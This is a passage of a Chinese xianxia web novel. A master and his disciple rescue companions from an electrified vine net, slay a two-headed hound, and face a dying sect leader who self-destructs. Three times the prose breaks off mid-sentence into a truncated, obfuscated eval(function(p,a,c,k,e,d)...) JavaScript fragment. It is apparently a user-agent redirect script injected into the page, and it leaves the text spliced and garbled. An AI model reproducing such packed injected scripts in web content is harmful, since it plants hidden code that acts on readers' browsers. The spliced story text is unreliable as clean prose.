“电藤?是外面草地中的那些藤条吗?”洛侠已经快要走到童竹的面前了。 童竹兴奋道:“是啊!你既然知道!那你也该清楚电藤的可怕!” “呲!” 洛侠猛地一剑刺穿了童竹的身子,没有一丝犹豫。 “师父!”乔天璇登时一慌,心头一凉。 洛侠怎么就把童竹给杀了?童竹若是死了,那谁来把网解开? 童竹低头愣愣地看着自己被剑刺穿身子的那处,不可思议道:“还从来没有人敢杀我……” “没有杀你。”洛侠紧握串着童竹的惜今,转身走向了被网起来悬吊在空中的花蕊和陈渊龙。 “咦?我……怎么没死?”童竹虽然血流了一地,但丝毫没有感受到自己即将要死了的感觉。 洛侠一把将童竹挨在了困着陈渊龙的网边,另一只手从储物袋中取出了一把匕首,道:“放心,避开要害刺的。” “原来如此。”乔天璇安了心。 想来也是,洛侠怎么可能会在明知杀了童竹便救不了人的情况下杀掉童竹? 除非被困在网里的只有陈渊龙一人。 但被困在网里的还有花蕊。 花蕊是乔天璇最好的朋友,洛侠又怎会让乔天璇失了花蕊? “你想要干嘛?!”童竹的身子碰到了网,当即浑身一颤,惊恐无比。 看着串在剑上的童竹,洛侠饶有兴致道:“你方才不是说你的网强行劈开不但困难得很,而且还会放电吗?那你现在挨着网了,若是你一直不解开网,我就一直用匕首割网,让网把你也给一块儿电了。” 童竹恐吓道:“那你也会被匕首传电的!” 洛侠冷哼一声,忽地松开了匕首和串着童竹的剑。 “你……” 在童竹震惊的眼神中,匕首和剑依然在方才的位置,一动不动。 洛侠面无表情道:“以我的修为,你难道觉得我不能凭空御物?” 童竹那黑豆似的双眼登时瞪得溜圆,惊恐道:“你是谁?你到底是谁?!” 乔天璇骄傲道:“他是我师父,你可以叫他灭妖仙人,专门灭妖的仙人!” 洛侠微微一笑,原本握着匕首那只手的手指轻轻一挥,被他凭空御着的匕首便开始割起了困着陈渊龙的网。 “滋滋滋滋滋滋!” 一阵电流顿时刺得童竹和陈渊龙都喊出了声。 只不过童竹喊得像老妪惨叫,而陈渊龙则是颤抖着呻吟。 祝源这会儿已经赶到了花蕊的身旁。 他担忧地看着网中的花蕊,一只手小心翼翼地穿过网格,轻轻触碰花蕊的衣摆。 洛侠忽地让匕首一停,电流立马消失,童竹和陈渊龙都停止了惨叫,劫后余生般痛苦地喘息起来。 乔天璇看着网中难受不安的陈渊龙,心头忽地生出了一股异样的感觉,莫名想要再看看陈渊龙被电时的模样。 “师父,再电!电长点时间!” “好。”洛侠当即又一挥手指,凭空御着匕首继续割起了困着陈渊龙的网。 “滋滋滋滋滋滋滋滋滋滋滋滋滋滋滋!” 网一放电,童竹和陈渊龙顿时再次喊出了声。 这一次电的时间长了,童竹的惨叫声更加凄厉,陈渊龙则从颤抖的呻吟逐渐变成了不堪忍受痛苦的低嚎。 乔天璇仔细观察着陈渊龙的样子,心忽地跳快了不少。 不知为何,她见陈渊龙如此痛苦,脑子却异常兴奋。 洛侠忽地又让匕首一停。 电流立马消失,童竹依旧惨叫不止。 陈渊龙奄奄一息地瘫在网中,就跟方才花蕊在毫无防备的情况下突然被网电了之后一样。 “怎么样?还不打算解开网吗?”洛侠盯着惨叫着的童竹,偶尔分出一些目光瞟一下陈渊龙。 童竹愤恨道:“你个仙人……卑鄙,混蛋,可恶,恶啊啊啊啊啊啊啊啊!!!” “滋滋!滋滋!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天璇……”陈渊龙慌忙以剑为拐,艰难地跟在了乔天璇的身后。 乔天璇把两把短刀都入了花蕊腰间的刀鞘中,轻轻摸了摸花蕊苍白的脸,安慰道:“没事了,我师父已经把童竹给灭了,你感觉怎么样?还好吗?” “我没事,童竹灭了就好。”花蕊已经恢复了一些体力,但手脚还是有些发软。 “走吧,我们赶紧从法阵离开这个地方。”洛侠把匕首收回储物袋,迈步走向了方才在他身后旋转着的紫色法阵,边走边看着乔天璇这边。 “好,走。”乔天璇回头望了陈渊龙一眼。 陈渊龙已经赶到了乔天璇的身后,他的脸色非常不好,口中却道:“我没事。” “没事就行。”乔天璇不再看陈渊龙,赶紧跟上了洛侠。 祝源也抱着花蕊追上了洛侠。 五人快步走入了旋转着的紫色法阵中。 乔天璇只觉眼前忽然一片明亮,一下子就置身在了一处空旷的地方。 祝源惊喜道:“出来了!” 乔天璇往四周望去,发现此地仍是那片白雾缭绕的竹林。只不过五人所站的这一块地方的竹子已经被全数砍倒,白雾也散去了不少。 毫无疑问,竹子肯定都是洛侠砍的。 此刻,紫色法阵正在五人的脚下旋转着。 “方才我们都被传送到地下的某处了,但这种把戏对我来说还不很算难应付。” 说罢,洛侠将手中贴了符的惜今往地上旋转着的紫色法阵一刺,法阵立即消失,变回了竹林原先的地面,剑上的符也化作灰烬散了去。 花蕊挣扎着从祝源的怀中下了来,道:“我可以自己走路了。” “慢点,小心。”祝源紧张地看着刚下地的花蕊,随时准备伸手扶她,生怕她站不稳。 陈渊龙道:“灭妖仙人,我们接下来该怎么走?” 乔天璇瞟了一眼身旁的陈渊龙,发现他已经不需要以剑当拐了,也不知他是真的恢复了还是碍于面子在强撑。 58. 巫神教域(四) 洛侠望向前方,微微一眯眼,道:“跟上我。” “好。”乔天璇立马跟上了洛侠。 其余人也赶紧跟上,生怕在白雾中掉了队。 走了一会儿,乔天璇忍不住好奇道:“师父,方才你和源兄一起被法阵传送到的地方有遇到竹虱精吗?” 洛侠在最前面开路,他目视前方道:“我们遇到的是一只竹黄精,那竹黄精妄想把为师磨碎了当‘仙人粉’,还把祝源绑了来威胁为师,可它哪里够为师斗?为师直接把它打回原形变成药材放到储物袋里了。” “竹黄精,长什么样子?”乔天璇想象不出来。 洛侠道:“肥头大耳,浑身圆滚滚的,矮子,光头。” 乔天璇脑海中当即蹦出来了一个球形的东西。 祝源激动道:“当时可真是吓死我了,好在灭妖仙人出其不意地让竹黄精被顶上脱落的一块晶石砸昏了过去。” 洛侠道:“这些小妖精许是一直都待在此处,没怎么见过人,对人的防备也不强,还算比较容易对付。” “容易对付?”乔天璇神色一凝。 只是对洛侠来说容易对付吧? 刚刚的童竹可是差点就要用电藤做的网电死人了! 要不是洛侠来得及时,陈渊龙就该被童竹给活埋了。 “师父厉害。”乔天璇不禁感叹。 祝源道:“那是当然!我感觉我简直就是劫后余生!” 洛侠忽地停下脚步,观察了一下四周。 乔天璇道:“有什么新发现?” 洛侠道:“此地的法阵已经被我破坏,竹林中所有的竹子一时半会儿移动不了。方才为师做过标记的竹子都没再看见了,说明我们现在正在走之前没有走过的路。只要能够直走,不改变方向,就肯定可以一路走出去。” “那太好了!”乔天璇喜出望外。 陈渊龙道:“会不会走反了路,最终走回到那片有电藤的草地?” “不会,我已经能够隐约感受得到前方有一股陌生的魔气了,应该就是从巫神教中散出来的。有电藤的草地那儿可没有这种魔气。”洛侠看了陈渊龙一眼,再次迈步向前走去。 大家当即齐齐跟上洛侠。 乔天璇并不清楚洛侠的修为到底有多深厚,但她清楚只要是洛侠能感觉得出来的东西,那么九成九都会是事实。 五人的脚步声行过安静的竹林,偶尔踩到地上某片枯黄的竹叶,发出“嘎吱”一声响。 在白雾缭绕的竹林中走了约莫一刻钟,前方的竹子间隙之间终于透进来了些许亮眼的阳光。 直耸入云的竹林较为阴暗,此刻那些阳光简直就像是身处极夜中的人突然见到的明亮流星。 乔天璇心中既有兴奋也有一丝忐忑不安。 不知巫神教会是什么样子,或许会是个神秘的洞府,又或许会像仙门那样很大很壮观,位于山顶,藏于云间。 对了,仙门…… 乔天璇忽地想起了之前狐妖黎花落提到过的虚天门。 她好奇地看着洛侠,疑惑道:“师父,虚天门是什么样子的?你真的不是虚天门掌门吗?狐妖黎花落是在胡说八道吗?” 此话一出,洛侠神色明显僵硬了一瞬。 但他立马就恢复了过来,镇定道:“璇儿,虚天门是为师从前所在的仙门。但我只是虚天门中的一名弟子罢了,并不是掌门。狐妖黎花落之所以把我认成了虚天门掌门,可能是他把我错认成我曾经的掌门兄长了。” “哦?师父还有一个兄长?这么说的话,师父难道和兄长生得很像?”乔天璇有点惊讶。 “不。”洛侠语气稍显沉闷:“兄长只有眼睛和我非常像,但别的地方并不是很像。” “眼睛……”乔天璇脑海中浮现出了洛侠的双眼。 那是一双温润又深邃的深棕色双眸,就跟洛侠的为人一样,外表柔和沉稳,内里却暗藏杀意,睚眦必报。 而眼睛几乎是一个人在看到另一张人脸时第一时间注意到的地方,那么狐妖黎花落会因为眼睛的相像而将洛侠认成了他的兄长似乎也就不足为奇了。 乔天璇正想着,洛侠已经带着大家走出了竹林。 “哇!这就是……巫神教?!”祝源睁大了双眼,眼中满是不可思议。 花蕊也小声惊呼了起来:“老天爷啊……这里是地狱吗?!” 展现在五人眼前的是一大圈烂泥地,上面几乎铺满了残骨骷髅。再往里一点,是一根又一根插在烂泥地中的顶上削尖了的铁杆子,上面串着人和各种动物腐坏的死尸。死尸面上的表情都异常狰狞可怖,而且这些死尸中的死人几乎都是竖着被捅穿的,看得乔天璇毛骨悚然,幻痛不止。 目光穿过这些串着死尸的铁杆子,里面还有岩浆法阵、钉床法阵、绞肉法阵,以及阵内有一只长着两个头,身子足足有一只老虎般大的恶犬的恶兽法阵。 这些法阵分别分布在一座灰色石堡的东南西北。 石堡的正门处对着的是恶兽法阵,似有将双头恶犬当成了看门狗的意味。 陈渊龙道:“看来我们若是想从正门进去,就得先打败那只双头恶犬才行了。” “灭妖仙人能够打败它的!对吧?”祝源期待地望着洛侠。 洛侠观察了一下身形巨大的双头恶犬,道:“有点难度,但可以一试。” 乔天璇道:“师父打算如何对付它?” 洛侠看向了乔天璇,道:“璇儿和我一起上。” “好!”乔天璇当即迈步往前走去。 洛侠却伸手一把拦住了乔天璇。 “师父?”乔天璇不解地低头看着洛侠拦着自己的手。 “不能走过去。”洛侠让惜今出鞘,道:“御剑飞过去。” 乔天璇立马明白了,当即抽出缠在腰间的削魂,道:“地上有机关,走过去容易触发,对吧?” “不。”洛侠御剑而起,道:“不是容易触发,而是一定会触发。” 乔天璇连忙御剑飞到了洛侠的身旁,惊道:“一定会触发?” “没错。”洛侠指着最外面一圈的残骨骷髅,道:“这一片地方若是有人闯入,地底下便会立即钻出食人的怪物到地面上,或许会是蚂蚁、蛇、花、藤条。但它们不会是普通的蚂蚁、蛇、花、藤条,而是魔化了之后的魔物,听令于巫神教的人吃入侵者。这泥地之所以烂,九成是因为地底下的魔物曾经集体钻了出来吃人,人拼命挣扎,这才把泥地给搅成这个烂样子的。” “哦……” 乔天璇、花蕊、祝源齐齐点了点头。 洛侠又指向了那些串着死尸的铁杆子,道:“再往里走,无论是人还是动物,只要触碰到了地面,地底下埋着的机关铁杆子就会立马升起,而铁杆子削尖的顶端能直接把人或动物捅穿串在上面。这些死尸中的死人几乎都是竖着被捅穿的,那就说明能够来到那个位置的人大多数都是走着走着就被地底下突然升起的铁杆子给从下往上捅穿。至于趴着被捅穿的那些……估计是因为挣扎着从最外面那一圈魔物的进攻下拼命爬到了那里,结果被一杆子捅穿的。” “嘶……” 乔天璇、花蕊、祝源不禁齐齐倒吸了一口凉气。 洛侠抬了一点手的位置,分别指了指岩浆法阵、钉床法阵、绞肉法阵、恶兽法阵,道:“巫神教的人既然布置了这四个法阵在石堡的东南西北,那就说明石堡应该会有东南西北四个可以进得去的门。在四个法阵中虽然可以落脚,但要面临的会是滚烫的岩浆、扎脚的钉子、粉碎肉身的术法,以及狂暴的双头恶犬。这些都不是常人能够承受得了的东西,得有法力、灵力傍身才方可一闯。” “呼……” 乔天璇、花蕊、祝源忍不住齐齐深呼吸了一口气。 陈渊龙冷冷道:“如此可怕之地,灭妖仙人一人去闯应该足矣。” “不。”洛侠低头看了陈渊龙一眼,遗憾道:“那只双头恶犬的杀法我曾从仙门古籍中看到过,必须要两人同时砍下它的两个头才能让它彻底死亡。如若一个一个头砍,那只会让它在失去其中一个头后愈发狂暴难以对付,并且被砍下的头也会在十息之内长回来。哪怕在这十息之内把另一个头也砍了,这两个头依旧会先后重新长出来,并且对人发起更为疯狂的进攻。” “原来如此。” 乔天璇、花蕊、祝源皆是恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一刻,双头恶犬反过头来要咬洛侠。 洛侠猛然一扯,双头恶犬几乎要被洛侠提到空中。 “嗷呜呜呜呜呜!汪汪呜呜呜呜呜……” 双头恶犬被扯疼了,痛苦地呜咽起来。 “我来助师父!”乔天璇连忙来帮洛侠一起拉扯双头恶犬的尾巴。 此刻,乔天璇无比想要拥有花蕊那样大的力气。 但两个人一同拉扯一只大犬的尾巴已经足够让其无法忍受了。 “汪呜呜呜呜呜嗷!嗷嗷嗷!嗷嗷嗷!” 双头恶犬的两个头齐齐伸长了各自的脖子,惨叫不止。 洛侠坚定道:“就是现在,砍头!” “好!”乔天璇连忙跟洛侠同时将方才御在脚下的剑一手引至手中紧握着,猛地向下冲去,与洛侠双双砍下了双头恶犬的两个头。 “咔嚓!!!” 头与身子断开的声音对此时的乔天璇来说简直如同天籁之音。 双头恶犬的两个头被洛侠和乔天璇齐齐砍下后就像是两个脏兮兮的球一样滚落到了一旁。 “哗啦……” 滚烫的狗血撒了一地。 与此同时,恶兽法阵的一圈边界线在渐渐淡化。 这一圈原本是用来困着双头恶犬的“边界线网”此刻随着双头恶犬的死亡而消失。 乔天璇终于露出了如释重负的笑,喘息道:“看来这双头恶犬也没有我想象中的那么难对付嘛,没几下就搞定了。” “咚!轰隆轰隆轰隆……” 乔天璇忽地一惊,连忙和洛侠一同转身看向了身后巨大声响传来的地方。 只见石堡的正门分别往一左一右缓缓推开。 巨大的声响正是石门开门时发出来的。 可石堡在开门的同时也飘出了缕缕白烟,令人无法看清石堡内的情况。 乔天璇刚想迈步往前,石堡内便传出了一个苍老到了极致的女声:“来——者——何——人——?” 59. 巫神教域(五) “女魔头?”乔天璇脱口而出。 洛侠连忙道:“我乃前虚天门弟子,现散修一名。身旁的是我唯一的徒弟。” 极致苍老的女声从缕缕白烟中传出:“哦——?虚天门虽早已灭门,但还真是桃李满天下啊……” 洛侠道:“不知巫神教教主何在?” 极致苍老的女声低沉一笑,道:“这么多年来,你们所有人不都是喊我女魔头的吗?我便是巫神教教主。” 乔天璇眼中一亮,赶忙道:“教主!不知你可还记得武阳尤氏的家族诅咒一事?” 巫神教教主不屑道:“哼,自然记得。” 乔天璇期待道:“那个……武阳尤氏现任家主尤远生是我的好友,不知教主可否赦免他一人的家族诅咒,让他活到他本该能活得到的年纪?” “……” 石堡正门前一片死寂。 乔天璇的心猛然悬起。 她倒不是担心巫神教教主不答应自己的请求,而是担心巫神教教主会因此事大发雷霆后对自己和洛侠不利。 洛侠赶紧道:“教主,我这唯一一个徒弟平时肆意惯了,她年纪还小,若是所说之话有触怒到了教主的地方,还请教主宽宏大量原谅她。” “……” 许久之后,巫神教教主才不悦道:“呵呵……那我便当你那小丫头徒弟是年纪小不懂事了。毕竟我年轻时也如此过,彼此彼此。” 洛侠道:“谢教主宽宏大量。” 巫神教教主对乔天璇道:“小丫头,我儿在百年前被武阳尤氏的人骗去修建不朽园,最终活活累死,武阳尤氏定要为此血债血偿。而我以自身阳寿为代价对武阳尤氏进行诅咒,令其后人皆活不过二十,此咒无解。如今我已大限将至,可若不是我百年前以自身阳寿为代价去诅咒了武阳尤氏,为我儿报仇,我定是还能再活很长时间,但我从不为当年所做之事感到后悔。” 乔天璇道:“教主,您是一位好母亲,可您也……” “不要说。”洛侠忽地转头看着乔天璇的眼睛,用力摇了摇头。 乔天璇立马把后半截话咽回了肚子里去。 洛侠在仙途中不知有过多少血泪教训,他既然不让自己说,那么便一定有他的道理。 “哈哈哈哈好母亲……”巫神教教主无奈道:“与孩子观念不同而最终令孩子离家出走,结果孩子因此事死在了外边的好母亲吗?” 闻言,乔天璇瞬间回想起了茶馆中说书先生所说的故事:生性善良的巫神教少主不满巫神教“自己做的不如抢来的”的教风,其母便要让他出山去历练一番。最后他干活任劳任怨,被活活累死。 看来事情传到外面变成说书先生口中的故事后就不再是“孩子离家出走”,而是“孩子被动出山去历练”了。 或许是有人对此故意做了改动,又或许是人们以讹传讹传岔劈了。但无论是因为何种原因才有了如此改动,都让此事成了令人感觉是母亲在主动将自己的孩子往火坑中推,而不是孩子要去自找苦吃。 巫神教教主叹息一声,道:“说到底,我身为众人口中十恶不赦的女魔头,却自此都没有为了延长寿数而去通过血魔蛊吸食幼童的血,而是坦然赴死,我难道就不该被人尊称一声‘大善巫神’吗?” 洛侠当即拱手,恭敬道:“见过大善巫神。” 乔天璇也连忙拱手道:“见过大善巫神。” 的确,就如洛侠之前在茶馆所说的那样,修魔虽然能靠魔功延长寿命,但也正是因为修魔,到了后期若是不每个月都通过血魔蛊来吸食幼童的血,身子就会如蜕皮的蛇那样一层一层脱落,最终变成一具骨架。此过程痛苦至极,堪比凌迟,除非提前自尽来避免这种痛苦。而巫神教教主愣是没有通过血魔蛊来吸食幼童的血为自己延长寿数,可见她心中还是有一丝善念存在的。 不过也有可能是因为她自己曾经有过孩子,所以当她在看到别人的孩子时就会不由自主想起自己已死的孩子,令她最终无法下手。 此时,从石堡中散出的缕缕白烟已经逐渐淡了下去。 乔天璇和洛侠终于看到石堡的大堂中有一个盘坐在莲台之上,双手搭在双膝上的白发老妪。 想必这白发老妪便是巫神教教主了。 乔天璇和洛侠齐齐走到石堡的正门门槛前停住了脚步。 只见巫神教教主所坐的莲台位于一汪池水之上的正中间位置。她长长的白发从头垂落到莲台,又从莲台垂入池水,飘散在池水上,白花花的一大片飘飘荡荡,似是水中白云。 石堡顶上有不少散发着浅蓝色光的晶石,照得底下的池水和巫神教教主的肤色都呈浅蓝色了。 巫神教教主身着一袭黑红色的衣衫,倒是不怎么受浅蓝色光的影响。黑依旧是黑,红则红得更深。 看着巫神教教主满脸皱到了极致的皱纹,乔天璇不禁心中一惊。 满脸皱纹的老妪她并不是没有见过,但皱纹皱到了如此细密可怕的程度的老妪她倒是第一次见。 突然,乔天璇感觉到了一股强烈的怨灵波动。 而这怨灵波动正是从巫身教教主的脸上传来的。 “师父,你有感觉到巫神教教主身怀极强的怨灵之力吗?”乔天璇贴着洛侠的耳朵悄声疑惑。 “有一点,但不强烈。你觉得很强烈吗?”洛侠微微一怔。 “强,可能是因为我对灵的感受反应比较大。”乔天璇眯眼仔细观察起了盘腿坐在莲台上的巫神教教主。 巫神教教主的年纪实在是太大了,她一呼一吸之间脸上的皱纹都在轻微颤抖。 ……不对,巫神教教主脸上的那些也许并非寻常的皱纹。 若真是寻常的皱纹,那为何巫神教教主的手上没有同样的皱纹? 既然一个人有皱纹,那么在一般情况下,这个人的脸和手应该同时都有相同程度的皱纹才对。 感觉到不对劲,乔天璇当即用没握着剑的左手从腰间的黑色乾坤袋中取出一张符夹到了自己的右眼前,边给符注入灵力边道:“现!” 霎时间,呈现在乔天璇左眼前的是一个被无数黑色怨灵包围着的盘坐于莲台之上的老妪。 这些黑色怨灵轮流不断地把女子脸上的肉往下捏着扯,扯得不知疲倦,扯得兴奋至极。 作为灵师,乔天璇在看到这番景象的同时也听到了这些黑色怨灵在恶狠狠地质问和咒骂女子。 “教主,我们好心给您找来了幼童,你不但不夸我们,反而放了幼童,杀了我们,为什么?为什么?这到底是为什么?!我们不是修魔之人吗?!” “教主,我明明是为了让您延年益寿,可您却恩将仇报!我敬您,可我更恨您!凭什么……我不就是杀了一个幼童吗?教主!凭什么我要为此而死?!” “教主,烤小孩难道不香吗?您怎就如此不领情啊?我不过是给您献上一道能够让容颜回春的美食,您竟让我为此搭上了性命,我不甘心!不甘心!不甘心!!!” “教主,您若是这么不屑于让自己的容颜回春,那我们就一齐帮您变成满脸皱纹的老太婆吧!” “教主,您是听不到我们说话吗?!说话啊!教主!!!” “教主,我们既然在生前发了誓要永远追随您,那我们死后也会永远追随您!永远不离开您!” “教主!可恶的教主!真没想到您居然为了让我们都不使用血魔蛊来吸食幼童的血而杀了我们!您简直枉为巫神教的教主!您不配!您不配!” “教主,我恨您!恨您!我要永永远远死缠着您!折磨您!看您变成孤苦伶仃的老太婆!哈哈哈哈哈哈哈哈……” 这些怨灵的声音有男有女,听得乔天璇心中直发怵。 “原来如此。”乔天璇不再往符中注入灵力,符忽地如燃尽了一般从乔天璇的两指间化作灰烬随风飘散而去。 此刻,眼前所见当即又变成了安安静静盘坐在莲台上满脸皱纹的老妪,再不见那些吵吵嚷嚷的黑色怨灵。 真没想到巫神教教主居然为了让众教徒不通过血魔蛊来吸食幼童的血而杀了他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不打算活了。”巫婆神教教主释然道:“我不愿干通过血魔蛊来吸食幼童的血那样的事,已经脱了一层皮了。很薄,但很疼,我觉得自己肯定忍受不了后面无数次的脱皮。在死之前,我能够遇到你们,能够听到灵师对我转述我的教众怨灵们对我说的话,实属我的意料之外,我也能安心去死了。” 乔天璇惊道:“您现在要自尽?!” “嗯,话说起来,你们的到来是打扰了我自尽的。”巫神教教主笑道:“不过我就不与你们计较了,呵呵呵呵呵……” 笑罢,巫神教教主忽地闭眼,缓缓抬起搭在双膝上的双手,皆作剑指相抵在胸前。 “不好,她要自爆!我们撤!”洛侠立马转身御剑而起。 “好!”乔天璇连忙御剑跟上洛侠。 在原路飞回陈渊龙他们所在的地方时,乔天璇又看到了那些串在铁杆子上的死尸,不禁疑惑道:“师父,巫神教教主自爆了,那巫神教外面的这些可怕法阵也会消失吗?” 洛侠道:“不一定。” 见到乔天璇和洛侠御剑飞回来了,陈渊龙当即眼前一亮。 花蕊欢喜道:“你们终于回来了!” 祝源期待道:“女魔头答应赦免尤家家主的家族诅咒了吗?” “我们先躲进竹林里!”洛侠一落地就拉起乔天璇的手往白雾缭绕的竹林中跑。 陈渊龙眼中顿时一暗。 他紧盯着洛侠拉着乔天璇的手,面色阴沉地跟在两人身后快步跑向竹林。 花蕊和祝源虽然不知为何要往竹林里跑,但还是听洛侠的话照做了。 洛侠和乔天璇的另一只手中还握着没来得及入鞘的剑,但现在已经顾不得那么多了。 “哒哒哒哒哒哒……” 五人急促的奔跑声让安静的竹林像是突然落入了几滴冷水的油锅。 约莫十息之后,后方突然传来一声震耳欲聋的爆炸声。 “轰!!!” 60. 巫神教域(六) 巨大的气浪穿过五人所在的竹林,竹林中缭绕的白雾顿时被气浪冲散。 “嘎啦嘎啦吱嘎吱嘎……” 高耸入云的竹林开始快速下降,发出与竹子生长时同样会发出的声音。 洛侠依旧没有停下脚步,其余四人便继续跟着洛侠往前跑去。 乔天璇忍不住看了看身旁的竹子,发现这些竹子都在疯狂地往地底下缩去。 奇了怪了,怎会如此?难不成这些竹子并不是寻常的竹子,而是一种做成了和竹子的样子一模一样的机关? 洛侠抬头望了望竹子越来越矮了的竹林,道:“阵破了,原本不受风影响的白雾散了,竹子也马上要恢复成原来的高度了。” “是啊。”乔天璇略感意外:“竹林里这些不会随风而动的白雾居然被爆炸发出的气浪搞散了,看来巫神教教主的自爆把这些法阵也给连带着一起破了。” 陈渊龙道:“自爆?” “就是修仙之人和修魔之人的一种非常彻底且破坏力极大的自杀方式,也可用于与人同归于尽。”乔天璇转头看了陈渊龙一眼。 花蕊惊道:“那巫神教岂不是全都被炸没了?” 祝源担忧道:“那女魔头岂不是也死了?!” 乔天璇遗憾道:“女魔头就是巫神教教主,她自爆了,死了。当然,赦免尤家家主家族诅咒的事情她也没有答应。” “啊?那我们岂不是白来一趟了?”祝源有些难过。 花蕊没声好气道:“白来什么啊?我们这一趟可没有白来!书呆子,你还记得我们来到山谷中后天璇姐姐都和山民说了什么吗?” 祝源回忆道:“山民?那个洗衣妇人吗?和她说了……说了……” “和她说了‘我们特来此地降伏巫神教女魔头’,真是个书呆子!”花蕊一副恨铁不成钢的表情。 “哦!对对对对对!灵师大人的确对洗衣妇人说了这个!哈哈……”祝源后知后觉一般尴尬地笑了笑。 花蕊认真道:“现在女魔头自爆了,死了,那不就算是把女魔头给降伏了嘛!” “对哦。”祝源赞同地点了点头。 “书呆子,你居然能把天璇姐姐说过的话忘了?还进京赶考呢?!真是没脑子没记性。”花蕊不轻不重地拍了祝源的手臂一巴掌。 “哎呀,我的错,我的错,不该忘了灵师大人说过的话。”祝源连忙道歉。 乔天璇被洛侠拉着手跑在前面,听到花蕊和祝源的对话之后差点没笑出声来。 就连乔天璇自己都一时半会儿不记得自己跟那个洗衣妇人说了“我们特来此地降伏巫神教女魔头”这句话了。没想到花蕊居然还记得,而且在得知巫神教教主自爆死了之后一下子就这么说出来了。 真不愧是我最好的朋友。 乔天璇心中十分欢喜,当即道:“花蕊说得对!” “嘿嘿嘿嘿!那是当然!”花蕊开心极了。 五人跟着洛侠一路跑回到了竹林中那片被洛侠砍倒了许多竹子的地方。 此时,巫神教教主自爆后的余波还在源源不断地冲进竹林中来。 好在竹林中的竹子又多又密集,帮五人挡住了最开始的一大半气浪和之后的不少余波。 只是不知这些竹子还能够挡多久。 毕竟巫神教教主可是百岁魔修,自爆的威力不容小觑。就算她曾经痛失半数阳寿,元气大伤,但她既然能一直稳坐教主之位,那就说明她的实力定是整个巫神教中最厉害的。 “看!那是什么?” 正跑着,乔天璇忽然望向了前方一处发着白光的地方。 洛侠也注意到了乔天璇所说的地方。 那处地方虽然发着白光,但却明显是一个约莫二尺宽的地缝。 洛侠神色一凝,道:“不好,地底下可能还有不少妖精。” 乔天璇不安道:“那些妖精要从地底下钻出来了吗?” 洛侠道:“没错。” “地底下的妖精们怎么突然在这会儿要钻出来了?”花蕊不解。 洛侠道:“我估计地底下的妖精们并不是自愿待在地底下的,而是被巫神教的人强行抓来当作了法阵中的一部分。现在巫神教教主自爆了,此处的法阵估计也都破了,妖精们自然要逃走。” “原来如此……”花蕊若有所思。 五人继续在竹林中往前跑。 这片竹林实在是大得可怕,此刻唯一好一点了的地方就是原本缭绕竹林的白雾都已经散了,眼前不再是白蒙蒙的一片,能够看得清路了。 突然,五人身后传来了许多急促的脚步声。 乔天璇心中一惊,连忙回头看向了一处脚步声传来的地方。 陈渊龙、花蕊、祝源也忍不住往传来脚步声的地方瞧去。 只见一个一头绿发的妖艳妖女在拼命地往竹林外跑。 妖女与乔天璇几人的逃跑路线都是同一条,而她的速度远远快过乔天璇几人。 “你好啊!大漂亮!”乔天璇冲着绿发妖女大喊。 “快逃快逃!”绿发妖女跑得更快了,满脸焦急。 下一刻,竹林后方又窜出来了好几个模样各异的妖精。 与此同时,地上也裂开了越来越多发白光的地缝。这些地缝有宽有窄,窄的一尺都不到,宽的能足足有三、四尺。 逃命要紧,妖精们都暂时没有了害人的心思,很快就一个接一个超过了乔天璇一行人,冲着前方飞快跑去。 “妖精们怎么逃得这么快?”祝源边跑边不断地左顾右盼。 “有妖力啊,而且就算是还没成精的动物本身也比人跑得快。”花蕊瞟见一个妖精“嗖”一下往前窜出了很远一段距离,眼底泛出些许羡慕之意。 “快到了!我看到那片围着竹林的草地了!”乔天璇终于望见了前方的竹林尽头,欣喜无比。 花蕊如释重负道:“终于要到了,这竹林大得就跟跑不完似的……” “啊呜——” “嗷嗷嗷嗷嗷!!!” “哇啊啊啊啊啊啊——” 前方突然传来许多已经跑出了竹林的妖精凄厉的惨叫声。 闻声,乔天璇立马回想起了竹林外的草地里藏有能把活物死死缠住电到死为止的那些藤条,下意识脱口而出:“不好,是电藤!” “嘶——”花蕊忆起了被童竹用电藤做的网困着电的滋味,不禁倒吸了一口凉气。 陈渊龙的呼吸也忽地一滞。 洛侠对乔天璇道:“出竹林后马上御剑。” 然而,洛侠的话音刚落,五人脚下的地面就突然裂开了一条宽敞的地缝。 霎时间,白光大盛。 “啊!!!” 乔天璇、花蕊、祝源齐齐在下坠中惊恐大喊起来。 正当乔天璇一时间大脑一片空白之时,她突然感觉自己落入了一片温热柔软之中。 “咯嘎!咯嘎!咯噶!咯噶!” 奇特的鸟鸣声忽然响起。 随之而来的是一阵失重的感觉。 待乔天璇反应过来时,她发现自己已经躺在一片黄白相见的羽毛里,毫不费力地置身于蓝天之中了。 身旁四人的处境也和自己一样,最先反应过来的洛侠已经站起身开始观察四周了。 “师父?”乔天璇对着洛侠喊了一句。 洛侠转头对乔天璇道:“不怕,我们逃出来了。” 乔天璇连忙爬起身来,将手中的削魂缠回到了腰间,看着方才自己所躺的黄白相间的羽毛,疑惑道:“咦?这不是我们刚刚在那个竹虱精的地方看到的一地鸡鸭羽毛吗?” “对啊,一模一样的羽毛!”花蕊也反应过来了,她摸了摸这些羽毛,满脸惊讶。 洛侠似乎也回想起来了,他试探道:“作为鸟妖,被巫神教的法阵困在地底下会过得尤其艰难吧?” 驮着五人的鸟妖无奈道:“是呀,竹虱精看中了的我的羽毛,想要用我的羽毛在她那儿铺地。为了活下去,我就与竹虱精做了一个交易,用羽毛换取竹虱精的孩子来作为我的食物。” 